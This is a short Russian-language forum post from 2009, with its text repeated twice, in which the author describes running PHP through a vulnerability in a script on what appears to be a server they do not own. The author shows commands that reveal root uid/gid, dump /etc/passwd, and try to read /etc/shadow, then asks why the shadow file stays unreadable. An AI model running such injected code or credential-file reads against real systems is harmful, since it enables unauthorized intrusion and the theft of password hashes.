_gr34t
04.11.2009, 17:42
Всем привет!
через уязвимость в скрипте выполняю echo "User: ".get_current_user()."uid: ".getmyuid()."gid: ".getmygid();
Результат User: rootuid: 0gid: 0
далее выполняю:
echo file_get_contents('/etc/passwd');
Результат: файл /etc/passwd
далее выполняю:
echo file_get_contents('/etc/shadow');
Результат: 0
Почему не удаётся прочитать /etc/shadow? Ведь права рута!
через уязвимость в скрипте выполняю echo "User: ".get_current_user()."uid: ".getmyuid()."gid: ".getmygid();
Результат User: rootuid: 0gid: 0
далее выполняю:
echo file_get_contents('/etc/passwd');
Результат: файл /etc/passwd
далее выполняю:
echo file_get_contents('/etc/shadow');
Результат: 0
Почему не удаётся прочитать /etc/shadow? Ведь права рута!